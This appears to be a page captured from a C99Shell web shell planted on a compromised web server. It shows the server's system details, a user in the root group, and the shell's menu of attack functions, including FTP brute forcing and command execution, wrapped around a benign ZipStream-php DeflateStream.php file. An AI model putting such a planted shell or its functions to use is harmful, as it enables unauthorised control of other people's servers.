!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/maennchen/zipstream-php/src/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DeflateStream.php (1.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types=1);

namespace 
ZipStream;

class 
DeflateStream extends Stream
{
    protected 
$filter;

    
/**
     * @var Option\File
     */
    
protected $options;

    
/**
     * Rewind stream
     *
     * @return void
     */
    
public function rewind(): void
    
{
        
// deflate filter needs to be removed before rewind
        
if ($this->filter) {
            
$this->removeDeflateFilter();
            
$this->seek(0);
            
$this->addDeflateFilter($this->options);
        } else {
            
rewind($this->stream);
        }
    }

    
/**
     * Remove the deflate filter
     *
     * @return void
     */
    
public function removeDeflateFilter(): void
    
{
        if (!
$this->filter) {
            return;
        }
        
stream_filter_remove($this->filter);
        
$this->filter null;
    }

    
/**
     * Add a deflate filter
     *
     * @param Option\File $options
     * @return void
     */
    
public function addDeflateFilter(Option\File $options): void
    
{
        
$this->options $options;
        
// parameter 4 for stream_filter_append expects array
        // so we convert the option object in an array
        
$optionsArr = [
            
'comment' => $options->getComment(),
            
'method' => $options->getMethod(),
            
'deflateLevel' => $options->getDeflateLevel(),
            
'time' => $options->getTime()
        ];
        
$this->filter stream_filter_append(
            
$this->stream,
            
'zlib.deflate',
            
STREAM_FILTER_READ,
            
$optionsArr
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--